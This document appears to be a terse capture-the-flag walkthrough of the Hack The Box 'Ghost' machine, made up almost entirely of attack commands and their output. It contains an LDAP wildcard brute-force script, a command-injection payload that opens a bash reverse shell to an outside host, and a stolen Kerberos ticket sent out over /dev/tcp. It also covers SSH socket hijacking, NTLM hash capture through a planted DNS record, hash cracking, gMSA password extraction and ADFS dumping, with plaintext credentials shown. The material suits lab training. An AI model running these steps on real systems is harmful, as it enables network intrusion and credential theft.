federation [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 220ms]
Core [Status: 200, Size: 7676, Words: 1423, Lines: 185, Duration: 206ms]❯ ffuf -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt -u http://FUZZ.ghost.htb:8008/ -t 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://FUZZ.ghost.htb:8008/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
gitea [Status: 200, Size: 13651, Words: 1050, Lines: 272, Duration: 136ms]❯ cat /etc/hosts | grep ghost.htb
10.10.11.24 ghost.htb DC01.ghost.htb federation.ghost.htb intranet.ghost.htb gitea.ghost.htb core.ghost.htb❯ cat users.txt
kathryn.holland
cassandra.shelton
robert.steeves
florence.ramirez
justin.bradley
arthur.boyd
beth.clark
charles.gray
jason.taylor
intranet_principal
gitea_temp_principalimport string
import requests
# Configuración
url = 'http://intranet.ghost.htb:8008/login'
headers = {
'Host': 'intranet.ghost.htb:8008',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',
'Connection': 'keep-alive'
}
# Caracteres a probar (puedes ampliar si el login acepta mayúsculas o símbolos)
charset = string.ascii_lowercase + string.digits
password = ""
while True:
found = False
for char in charset:
test_password = f"{password}{char}*"
files = {
'1_ldap-username': (None, 'gitea_temp_principal'),
'1_ldap-secret': (None, test_password),
'0': (None, '[{},"$K1"]')
}
r = requests.post(url, headers=headers, files=files)
if r.status_code == 303: # Código de redirección indica login exitoso
password += char
print(f"[✔] Caracter encontrado: {char} → {password}")
found = True
break # Salir del loop de caracteres y probar el siguiente
if not found:
print(f"[✅] Contraseña encontrada: {password}")
break # Si ningún carácter fue válido, finaliza
print(f"[🔓] Contraseña final: {password}")❯ python3 brute_ldap.py
[✔] Caracter encontrado: s → s
[✔] Caracter encontrado: z → sz
[✔] Caracter encontrado: r → szr
[✔] Caracter encontrado: r → szrr
[✔] Caracter encontrado: 8 → szrr8
[✔] Caracter encontrado: k → szrr8k
[✔] Caracter encontrado: p → szrr8kp
[✔] Caracter encontrado: c → szrr8kpc
[✔] Caracter encontrado: 3 → szrr8kpc3
[✔] Caracter encontrado: z → szrr8kpc3z
[✔] Caracter encontrado: 6 → szrr8kpc3z6
[✔] Caracter encontrado: o → szrr8kpc3z6o
[✔] Caracter encontrado: n → szrr8kpc3z6on
[✔] Caracter encontrado: l → szrr8kpc3z6onl
[✔] Caracter encontrado: q → szrr8kpc3z6onlq
[✔] Caracter encontrado: f → szrr8kpc3z6onlqf
[✅] Contraseña encontrada: szrr8kpc3z6onlqf
[🔓] Contraseña final: szrr8kpc3z6onlqf❯ unzip intranet.zip; cd intranet❯ tree
.
├── backend
│ ├── Cargo.lock
│ ├── Cargo.toml
│ ├── diesel.toml
│ ├── Dockerfile
│ ├── migrations
│ │ ├── 2024-01-05-214725_news
│ │ │ ├── down.sql
│ │ │ └── up.sql
│ │ └── 2024-01-05-225610_forum
│ │ ├── down.sql
│ │ └── up.sql
│ └── src
│ ├── api
│ │ ├── dev
│ │ │ └── scan.rs
│ │ ├── dev.rs
│ │ ├── forum.rs
│ │ ├── ldap.rs
│ │ ├── login.rs
│ │ ├── me.rs
│ │ ├── news.rs
│ │ └── users.rs
│ ├── api.rs
│ ├── database
│ │ ├── models.rs
│ │ └── schema.rs
│ ├── database.rs
│ └── main.rs
├── docker-compose.yml
├── frontend
│ ├── Dockerfile
│ ├── next.config.js
│ ├── package.json
│ ├── postcss.config.js
│ ├── public
│ │ ├── next.svg
│ │ └── vercel.svg
│ ├── README.md
│ ├── src
│ │ ├── app
│ │ │ ├── (dashboard)
│ │ │ │ ├── forum
│ │ │ │ │ └── page.tsx
│ │ │ │ ├── layoutNavigation.tsx
│ │ │ │ ├── layout.tsx
│ │ │ │ ├── news
│ │ │ │ │ └── page.tsx
│ │ │ │ ├── profile
│ │ │ │ │ └── page.tsx
│ │ │ │ └── users
│ │ │ │ └── page.tsx
│ │ │ ├── globals.css
│ │ │ ├── layout.tsx
│ │ │ ├── login
│ │ │ │ ├── action.tsx
│ │ │ │ ├── form.tsx
│ │ │ │ └── page.tsx
│ │ │ ├── logout
│ │ │ │ └── route.tsx
│ │ │ └── page.tsx
│ │ ├── components
│ │ │ ├── drawer.tsx
│ │ │ └── navbar.tsx
│ │ ├── helpers
│ │ │ └── fetch.ts
│ │ └── hooks
│ │ └── useUser.tsx
│ ├── tailwind.config.js
│ ├── tsconfig.json
│ └── yarn.lock
└── README.md
23 directories, 50 files❯ grep 'DEV_INTRANET_KEY' -r *
backend/src/api/dev.rs: if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
backend/.env.example:DEV_INTRANET_KEY=use rocket::http::Status;
use rocket::Request;
use rocket::request::{FromRequest, Outcome};
pub(crate) mod scan;
pub struct DevGuard;
#[rocket::async_trait]
impl<'r> FromRequest<'r> for DevGuard {
type Error = ();
async fn from_request(request: &'r Request<'_>) -> Outcome<Self, Self::Error> {
let key = request.headers().get_one("X-DEV-INTRANET-KEY");
match key {
Some(key) => {
if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
Outcome::Success(DevGuard {})
} else {
Outcome::Error((Status::Unauthorized, ()))
}
},
None => Outcome::Error((Status::Unauthorized, ()))
}
}
}use std::process::Command;
use rocket::serde::json::Json;
use rocket::serde::Serialize;
use serde::Deserialize;
use crate::api::dev::DevGuard;
#[derive(Deserialize)]
pub struct ScanRequest {
url: String,
}
#[derive(Serialize)]
pub struct ScanResponse {
is_safe: bool,
// remove the following once the route is stable
temp_command_success: bool,
temp_command_stdout: String,
temp_command_stderr: String,
}
// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
// currently intranet_url_check is not implemented,
// but the route exists for future compatibility with the blog
let result = Command::new("bash")
.arg("-c")
.arg(format!("intranet_url_check {}", data.url))
.output();
match result {
Ok(output) => {
Json(ScanResponse {
is_safe: true,
temp_command_success: true,
temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()),
temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()),
})
}
Err(_) => Json(ScanResponse {
is_safe: true,
temp_command_success: false,
temp_command_stdout: "".to_string(),
temp_command_stderr: "".to_string(),
})
}
}❯ nc -nlvp 443
listening on [any] 443 ...❯ curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"http://gzzcoo.com;/bin/bash -i >& /dev/tcp/10.10.16.7/443 0>&1"}'❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.24] 49786
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@36b733906694:/app# hostname -I
hostname -I
172.18.0.3 root@36b733906694:/app# env
SHELL=bash
DATABASE_URL=./database.sqlite
HOSTNAME=36b733906694
PWD=/app
HOME=/root
CARGO_HOME=/usr/local/cargo
LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
LDAP_HOST=ldap://windows-host:389
LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j
TERM=xterm
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
RUSTUP_HOME=/usr/local/rustup
ROCKET_ADDRESS=0.0.0.0
SHLVL=3
RUST_VERSION=1.79.0
PATH=/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JWT_SECRET=*xopkAGbLyg9bK_A
_=/usr/bin/env❯ nxc smb 10.10.11.24 -u users.txt -p 'He!KA9oKVT3rL99j' --continue-on-success
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.24 445 DC01 [-] ghost.htb\kathryn.holland:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\cassandra.shelton:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\robert.steeves:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\florence.ramirez:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\justin.bradley:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\arthur.boyd:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\beth.clark:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\charles.gray:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [-] ghost.htb\jason.taylor:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE
SMB 10.10.11.24 445 DC01 [+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j
SMB 10.10.11.24 445 DC01 [-] ghost.htb\gitea_temp_principal:He!KA9oKVT3rL99j STATUS_LOGON_FAILURE ❯ nxc ldap 10.10.11.24 -u 'intranet_principal' -p 'He!KA9oKVT3rL99j' --bloodhound --collection All --dns-server 10.10.11.24
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.24 389 DC01 [+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j
LDAP 10.10.11.24 389 DC01 Resolved collection methods: group, dcom, trusts, localadmin, rdp, acl, session, psremote, container, objectprops
LDAP 10.10.11.24 389 DC01 Done in 00M 10S
LDAP 10.10.11.24 389 DC01 Compressing output into /home/kali/.nxc/logs/DC01_10.10.11.24_2025-02-07_212001_bloodhound.ziproot@36b733906694:/# ls -l
total 76
drwxr-xr-x 1 root root 4096 Jul 5 2024 app
lrwxrwxrwx 1 root root 7 Jul 1 2024 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Mar 29 2024 boot
drwxr-xr-x 5 root root 340 Feb 7 17:46 dev
-rwxr-xr-x 1 root root 215 Jul 22 2024 docker-entrypoint.sh
drwxr-xr-x 1 root root 4096 Jul 22 2024 etc
drwxr-xr-x 2 root root 4096 Mar 29 2024 home
lrwxrwxrwx 1 root root 7 Jul 1 2024 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jul 1 2024 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4096 Jul 1 2024 media
drwxr-xr-x 2 root root 4096 Jul 1 2024 mnt
drwxr-xr-x 2 root root 4096 Jul 1 2024 opt
dr-xr-xr-x 196 root root 0 Feb 7 17:46 proc
drwx------ 1 root root 4096 Jul 5 2024 root
drwxr-xr-x 1 root root 4096 Jul 5 2024 run
lrwxrwxrwx 1 root root 8 Jul 1 2024 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Jul 1 2024 srv
dr-xr-xr-x 13 root root 0 Feb 7 17:46 sys
drwxrwxrwt 1 root root 4096 Jul 5 2024 tmp
drwxr-xr-x 1 root root 4096 Jul 1 2024 usr
drwxr-xr-x 1 root root 4096 Jul 1 2024 var
root@36b733906694:/# cat docker-entrypoint.sh
#!/bin/bash
mkdir /root/.ssh
mkdir /root/.ssh/controlmaster
printf 'Host *\n ControlMaster auto\n ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p\n ControlPersist yes' > /root/.ssh/config
exec /app/ghost_intranet root@36b733906694:~/.ssh/controlmaster$ ls -la
total 12
drwxr-xr-x 1 root root 4096 Feb 7 17:47 .
drwxr-xr-x 1 root root 4096 Jul 5 2024 ..
srw------- 1 root root 0 Feb 7 17:47 florence.ramirez@ghost.htb@dev-workstation:22
root@36b733906694:~/.ssh/controlmaster$ file florence.ramirez\@ghost.htb\@dev-workstation\:22
florence.ramirez@ghost.htb@dev-workstation:22: socketroot@36b733906694:~/.ssh/controlmaster# ssh -O check -S ~/.ssh/controlmaster/florence.ramirez@ghost.htb@dev-workstation:22 florence.ramirez@ghost.htb
Master running (pid=24)
florence.ramirez@LINUX-DEV-WS01:~$ hostname -I
172.18.0.2
florence.ramirez@LINUX-DEV-WS01:~$ id
uid=50(florence.ramirez) gid=50(staff) groups=50(staff),51(it)florence.ramirez@LINUX-DEV-WS01:~$ env
SHELL=/bin/bash
PWD=/home/GHOST/florence.ramirez
KRB5CCNAME=FILE:/tmp/krb5cc_50
LOGNAME=florence.ramirez
MOTD_SHOWN=pam
HOME=/home/GHOST/florence.ramirez
SSH_CONNECTION=172.18.0.3 54228 172.18.0.2 22
TERM=xterm
USER=florence.ramirez
SHLVL=1
SSH_CLIENT=172.18.0.3 54228 22
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
SSH_TTY=/dev/pts/0
_=/usr/bin/envflorence.ramirez@LINUX-DEV-WS01:/tmp$ ls -la krb5cc_50
-rw------- 1 florence.ramirez staff 1650 Feb 7 19:49 krb5cc_50❯ nc -nlvp 443 > krb5cc_50
listening on [any] 443 ...florence.ramirez@LINUX-DEV-WS01:/tmp$ cat krb5cc_50 > /dev/tcp/10.10.16.7/443❯ ls -l krb5cc_50
.rw-rw-r-- kali kali 1.6 KB Fri Feb 7 20:51:29 2025 krb5cc_50
❯ file krb5cc_50
krb5cc_50: data❯ export KRB5CCNAME=$(pwd)/krb5cc_50
❯ klist -i
Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/AD/Ghost/content/krb5cc_50
Default principal: florence.ramirez@GHOST.HTB
Valid starting Expires Service principal
07/02/25 20:51:02 08/02/25 06:51:02 krbtgt/GHOST.HTB@GHOST.HTB
renew until 08/02/25 20:51:01❯ nxc smb 10.10.11.24 -u 'florence.ramirez' -k --use-kcache
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.24 445 DC01 [+] ghost.htb\florence.ramirez from ccache ❯ bloodyAD --host dc01.ghost.htb -d ghost.htb -k get dnsDump
zoneName: ghost.htb
SOA.PrimaryServer: dc01.ghost.htb
SOA.zoneAdminEmail: hostmaster@ghost.htb
NS: dc01.ghost.htb
A: 10.0.0.254; 127.0.0.1; 10.10.11.24
recordName: ghost.htb
recordName: _gc._tcp.ghost.htb
SRV: primary.corp.ghost.htb:3268; dc01.ghost.htb:3268
recordName: _gc._tcp.Default-First-Site-Name._sites.ghost.htb
SRV: primary.corp.ghost.htb:3268; dc01.ghost.htb:3268
recordName: _kerberos._tcp.ghost.htb
SRV: dc01.ghost.htb:88
...[snip]...❯ bloodyAD --host dc01.ghost.htb -d ghost.htb -k get dnsDump > dnsDump.txt
❯ grep 'bitbucket' dnsDump.txt❯ bloodyAD --host dc01.ghost.htb -d ghost.htb -k add dnsRecord bitbucket 10.10.16.7
[+] bitbucket has been successfully added❯ sudo responder -I tun0
...[snip]...
[+] Listening for events...
[HTTP] NTLMv2 Client : 10.10.11.24
[HTTP] NTLMv2 Username : ghost\justin.bradley
[HTTP] NTLMv2 Hash : justin.bradley::ghost:379fd6cc8a217192:57521556E3919754EBD8F3CEF7C53692:010100000000000055A059C39A79DB0196D7986191DE13BA00000000020008005400460043004E0001001E00570049004E002D004D004D004C00550059003000520039004F004E003500040014005400460043004E002E004C004F00430041004C0003003400570049004E002D004D004D004C00550059003000520039004F004E0035002E005400460043004E002E004C004F00430041004C00050014005400460043004E002E004C004F00430041004C00080030003000000000000000000000000040000076536FB96280E0573AB44A1AC8269946A2295E50D4C33E8D9D4B3161337ACEAC0A001000000000000000000000000000000000000900300048005400540050002F006200690074006200750063006B00650074002E00670068006F00730074002E006800740062000000000000000000❯ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU
...[snip]...
JUSTIN.BRADLEY::ghost:379fd6cc8a217192:57521556e3919754ebd8f3cef7c53692:010100000000000055a059c39a79db0196d7986191de13ba00000000020008005400460043004e0001001e00570049004e002d004d004d004c00550059003000520039004f004e003500040014005400460043004e002e004c004f00430041004c0003003400570049004e002d004d004d004c00550059003000520039004f004e0035002e005400460043004e002e004c004f00430041004c00050014005400460043004e002e004c004f00430041004c00080030003000000000000000000000000040000076536fb96280e0573ab44a1ac8269946a2295e50d4c33e8d9d4b3161337aceac0a001000000000000000000000000000000000000900300048005400540050002f006200690074006200750063006b00650074002e00670068006f00730074002e006800740062000000000000000000:Qwertyuiop1234$$❯ nxc smb 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.24 445 DC01 [+] ghost.htb\justin.bradley:Qwertyuiop1234$$
❯ nxc winrm 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
WINRM 10.10.11.24 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb)
WINRM 10.10.11.24 5985 DC01 [+] ghost.htb\justin.bradley:Qwertyuiop1234$$ (Pwn3d!)❯ evil-winrm -i 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\justin.bradley\Documents> type ../Desktop/user.txt
56ee926c00f*********************❯ powerview ghost.htb/'justin.bradley':'Qwertyuiop1234$$'@10.10.11.24 --dc-ip 10.10.11.24
Logging directory is set to /home/kali/.powerview/logs/ghost-justin.bradley-10.10.11.24
[2025-02-07 21:27:49] [Storage] Using cache directory: /home/kali/.powerview/storage/ldap_cache
(LDAPS)-[DC01.ghost.htb]-[GHOST\justin.bradley]
PV > Get-GMSA
ObjectDnsHostname : federation.ghost.htb
ObjectSAN : adfs_gmsa$
ObjectSID : S-1-5-21-4084500788-938703357-3654145966-4101
PrincipallAllowedToRead : GHOST\DC01$
GHOST\justin.bradley
GMSAPassword : 0bef79ae4d25b1864570212e33922d14❯ nxc smb 10.10.11.24 -u 'ADFS_GMSA$' -H '0bef79ae4d25b1864570212e33922d14'
SMB 10.10.11.24 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.24 445 DC01 [+] ghost.htb\ADFS_GMSA$:0bef79ae4d25b1864570212e33922d14❯ evil-winrm -i 10.10.11.24 -u 'ADFS_GMSA$' -H '0bef79ae4d25b1864570212e33922d14'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> ❯ ls -l LateralMovement
❯ git clone https://github.com/jakobfriedl/precompiled-binaries; cd precompiled-binaries/LateralMovement
Clonando en 'precompiled-binaries'...
remote: Enumerating objects: 242, done.
remote: Counting objects: 100% (41/41), done.
remote: Compressing objects: 100% (38/38), done.
remote: Total 242 (delta 18), reused 11 (delta 3), pack-reused 201 (from 1)
Recibiendo objetos: 100% (242/242), 8.53 MiB | 14.65 MiB/s, listo.
Resolviendo deltas: 100% (110/110), listo.
❯ ls -l
drwxrwxr-x kali kali 4.0 KB Fri Feb 7 21:49:08 2025 AzureAD
drwxrwxr-x kali kali 4.0 KB Fri Feb 7 21:49:08 2025 CertificateAbuse
drwxrwxr-x kali kali 4.0 KB Fri Feb 7 21:49:08 2025 GPOAbuse
.rw-rw-r-- kali kali 30 KB Fri Feb 7 21:49:08 2025 ADFSDump.exe
.rw-rw-r-- kali kali 4.5 KB Fri Feb 7 21:49:08 2025 ADModule.dll
.rw-rw-r-- kali kali 487 KB Fri Feb 7 21:49:08 2025 Rubeus.exe
.rw-rw-r-- kali kali 50 KB Fri Feb 7 21:49:08 2025 RunasCs.exe
.rw-rw-r-- kali kali 50 KB Fri Feb 7 21:49:08 2025 Sharpmad.exe
.rw-rw-r-- kali kali 40 KB Fri Feb 7 21:49:08 2025 SharpMove.exe
.rw-rw-r-- kali kali 323 KB Fri Feb 7 21:49:08 2025 SharpRDP.exe
.rw-rw-r-- kali kali 1.1 MB Fri Feb 7 21:49:08 2025 SharpSCCM.exe
.rw-rw-r-- kali kali 44 KB Fri Feb 7 21:49:08 2025 SharpSQL.exe
.rw-rw-r-- kali kali 222 KB Fri Feb 7 21:49:08 2025 SimpleBackdoorAdmin.dll
.rw-rw-r-- kali kali 290 KB Fri Feb 7 21:49:08 2025 SimpleBackdoorAdmin.exe
.rw-rw-r-- kali kali 154 KB Fri Feb 7 21:49:08 2025 SpoolSample.exe
.rw-rw-r-- kali kali 44 KB Fri Feb 7 21:49:08 2025 Whisker.exe*Evil-WinRM* PS C:\ProgramData> upload ADFSDump.exe
Info: Uploading /home/kali/Desktop/HackTheBox/Windows/AD/Ghost/content/ADFSDump.exe to C:\ProgramData\ADFSDump.exe
Data: 305048 bytes of 305048 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\ProgramData> ls
Directory: C:\ProgramData
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 7/22/2024 9:55 AM Microsoft
d----- 7/22/2024 9:55 AM Package Cache
d----- 1/30/2024 7:09 PM Packages
d----- 1/30/2024 7:19 PM regid.1991-06.com.microsoft
d----- 5/8/2021 1:20 AM SoftwareDistribution
d----- 5/8/2021 2:36 AM ssh
d----- 1/30/2024 9:24 AM USOPrivate
d----- 5/8/2021 1:20 AM USOShared
d----- 1/30/2024 9:21 AM VMware
-a---- 2/7/2025 12:38 PM 228787 ADFSDump.exeAAAAAQAAAAAEEAFyHlNXh2VDska8KMTxXboGCWCGSAFlAwQCAQYJYIZIAWUDBAIBBglghkgBZQMEAQIEIN38LpiFTpYLox2V3SL3knZBg16utbeqqwIestbeUG4eBBBJvH3Vzj/Slve2Mo4AmjytIIIQoMESvyRB6RLWIoeJzgZOngBMCuZR8UAfqYsWK2XKYwRzZKiMCn6hLezlrhD8ZoaAaaO1IjdwMBButAFkCFB3/DoFQ/9cm33xSmmBHfrtufhYxpFiAKNAh1stkM2zxmPLdkm2jDlAjGiRbpCQrXhtaR+z1tYd4m8JhBr3XDSURrJzmnIDMQH8pol+wGqKIGh4xl9BgNPLpNqyT56/59TC7XtWUnCYybr7nd9XhAbOAGH/Am4VMlBTZZK8dbnAmwirE2fhcvfZw+ERPjnrVLEpSDId8rgIu6lCWzaKdbvdKDPDxQcJuT/TAoYFZL9OyKsC6GFuuNN1FHgLSzJThd8FjUMTMoGZq3Cl7HlxZwUDzMv3mS6RaXZaY/zxFVQwBYquxnC0z71vxEpixrGg3vEs7ADQynEbJtgsy8EceDMtw6mxgsGloUhS5ar6ZUE3Qb/DlvmZtSKPaT4ft/x4MZzxNXRNEtS+D/bgwWBeo3dh85LgKcfjTziAXH8DeTN1Vx7WIyT5v50dPJXJOsHfBPzvr1lgwtm6KE/tZALjatkiqAMUDeGG0hOmoF9dGO7h2FhMqIdz4UjMay3Wq0WhcowntSPPQMYVJEyvzhqu8A0rnj/FC/IRB2omJirdfsserN+WmydVlQqvcdhV1jwMmOtG2vm6JpfChaWt2ou59U2MMHiiu8TzGY1uPfEyeuyAr51EKzqrgIEaJIzV1BHKm1p+xAts0F5LkOdK4qKojXQNxiacLd5ADTNamiIcRPI8AVCIyoVOIDpICfei1NTkbWTEX/IiVTxUO1QCE4EyTz/WOXw3rSZA546wsl6QORSUGzdAToI64tapkbvYpbNSIuLdHqGplvaYSGS2Iomtm48YWdGO5ec4KjjAWamsCwVEbbVwr9eZ8N48gfcGMq13ZgnCd43LCLXlBfdWonmgOoYmlqeFXzY5OZAK77YvXlGL94opCoIlRdKMhB02Ktt+rakCxxWEFmdNiLUS+SdRDcGSHrXMaBc3AXeTBq09tPLxpMQmiJidiNC4qjPvZhxouPRxMz75OWL2Lv1zwGDWjnTAm8TKafTcfWsIO0n3aUlDDE4tVURDrEsoI10rBApTM/2RK6oTUUG25wEmsIL9Ru7AHRMYqKSr9uRqhIpVhWoQJlSCAoh+Iq2nf26sBAev2Hrd84RBdoFHIbe7vpotHNCZ/pE0s0QvpMUU46HPy3NG9sR/OI2lxxZDKiSNdXQyQ5vWcf/UpXuDL8Kh0pW/bjjfbWqMDyi77AjBdXUce6Bg+LN32ikxy2pP35n1zNOy9vBCOY5WXzaf0e+PU1woRkUPrzQFjX1nE7HgjskmA4KX5JGPwBudwxqzHaSUfEIM6NLhbyVpCKGqoiGF6Jx1uihzvB98nDM9qDTwinlGyB4MTCgDaudLi0a4aQoINcRvBgs84fW+XDj7KVkH65QO7TxkUDSu3ADENQjDNPoPm0uCJprlpWeI9+EbsVy27fe0ZTG03lA5M7xmi4MyCR9R9UPz8/YBTOWmK32qm95nRct0vMYNSNQB4V/u3oIZq46J9FDtnDX1NYg9/kCADCwD/UiTfNYOruYGmWa3ziaviKJnAWmsDWGxP8l35nZ6SogqvG51K85ONdimS3FGktrV1pIXM6/bbqKhWrogQC7lJbXsrWCzrtHEoOz2KTqw93P0WjPE3dRRjT1S9KPsYvLYvyqNhxEgZirxgccP6cM0N0ZUfaEJtP21sXlq4P1Q24bgluZFG1XbDA8tDbCWvRY1qD3CNYCnYeqD4e7rgxRyrmVFzkXEFrIAkkq1g8MEYhCOn3M3lfHi1L6de98AJ9nMqAAD7gulvvZpdxeGkl3xQ+jeQGu8mDHp7PZPY+uKf5w87J6l48rhOk1Aq+OkjJRIQaFMeOFJnSi1mqHXjPZIqXPWGXKxTW7P+zF8yXTk5o0mHETsYQErFjU40TObPK1mn2DpPRbCjszpBdA3Bx2zVlfo3rhPVUJv2vNUoEX1B0n+BE2DoEI0TeZHM/gS4dZLfV/+q8vTQPnGFhpvU5mWnlAqrn71VSb+BarPGoTNjHJqRsAp7lh0zxVxz9J4xWfX5HPZ9qztF1mGPyGr/8uYnOMdd+4ndeKyxIOfl4fce91CoYkSsM95ZwsEcRPuf5gvHdqSi1rYdCrecO+RChoMwvLO8+MTEBPUNQ8YVcQyecxjaZtYtK+GZqyQUaNyef4V6tcjreFQF93oqDqvm5CJpmBcomVmIrKu8X7TRdmSuz9LhjiYXM+RHhNi6v8Y2rHfQRspKM4rDyfdqu1D+jNuRMyLc/X573GkMcBTiisY1R+8k2O46jOMxZG5NtoL2FETir85KBjM9Jg+2nlHgAiCBLmwbxOkPiIW3J120gLkIo9MF2kXWBbSy6BqNu9dPqOjSAaEoH+Jzm4KkeLrJVqLGzx0SAm3KHKfBPPECqj+AVBCVDNFk6fDWAGEN+LI/I61IEOXIdK1HwVBBNj9LP83KMW+DYdJaR+aONjWZIoYXKjvS8iGET5vx8omuZ3Rqj9nTRBbyQdT9dVXKqHzsK5EqU1W1hko3b9sNIVLnZGIzCaJkAEh293vPMi2bBzxiBNTvOsyTM0Evin2Q/v8Bp8Xcxv/JZQmjkZsLzKZbAkcwUf7+/ilxPDFVddTt+TcdVP0Aj8Wnxkd9vUP0Tbar6iHndHfvnsHVmoEcFy1cb1mBH9kGkHBu2PUl/9UySrTRVNv+oTlf+ZS/HBatxsejAxd4YN/AYanmswz9FxF96ASJTX64KLXJ9HYDNumw0+KmBUv8Mfu14h/2wgMaTDGgnrnDQAJZmo40KDAJ4WV5Akmf1K2tPginqo2qiZYdwS0dWqnnEOT0p+qR++cAae16Ey3cku52JxQ2UWQL8EB87vtp9YipG2C/3MPMBKa6TtR1nu/C3C/38UBGMfclAb0pfb7dhuT3mV9antYFcA6LTF9ECSfbhFobG6WS8tWJimVwBiFkE0GKzQRnvgjx7B1MeAuLF8fGj7HwqQKIVD5vHh7WhXwuyRpF3kRThbkS8ZadKpDH6FUDiaCtQ1l8mEC8511dTvfTHsRFO1j+wZweroWFGur4Is197IbdEiFVp/zDvChzWXy071fwwJQyGdOBNmra1sU8nAtHAfRgdurHiZowVkhLRZZf3UM76OOM8cvs46rv5F3K++b0F+cAbs/9aAgf49Jdy328jT0ir5Q+b3eYss2ScLJf02FiiskhYB9w7EcA+WDMu0aAJDAxhy8weEFh72VDBAZkRis0EGXrLoRrKU60ZM38glsJjzxbSnHsp1z1F9gZXre4xYwxm7J799FtTYrdXfQggTWqj+uTwV5nmGki/8CnZX23jGkne6tyLwoMRNbIiGPQZ4hGwNhoA6kItBPRAHJs4rhKOeWNzZ+s